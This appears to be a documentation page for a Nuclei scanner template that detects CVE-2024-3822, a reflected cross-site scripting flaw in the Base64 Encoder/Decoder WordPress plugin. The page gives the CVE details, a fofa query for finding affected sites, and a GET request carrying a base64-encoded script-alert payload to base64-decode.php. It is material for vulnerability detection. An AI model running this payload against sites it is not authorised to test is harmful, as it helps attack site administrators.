Skip to content

Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting

ID: CVE-2024-3822

Severity: medium

Author: omranisecurity

Tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder

The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

id: CVE-2024-3822
info:
name: Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
author: omranisecurity
severity: medium
description: |
The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
reference: |
- https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
- https://nvd.nist.gov/vuln/detail/CVE-2024-3822
- https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2024-3822
cwe-id: CWE-79
epss-score: 0.00043
epss-percentile: 0.0866
metadata:
verified: true
max-request: 1
fofa-query: "wp-content/plugins/base64-encoderdecoder/"
tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4="
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains(body, "<p><script>alert(\"document.domain\")</script></p>")'
condition: and
# digest: 4a0a004730450220030234925174a34b2b76482aef25603bd905e7e36588e09271b246e7be564e03022100f952bd5d24dd29d110775937591f4b8df63be50a905f12a1a850edb155118df4:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3822.yaml"

View on Github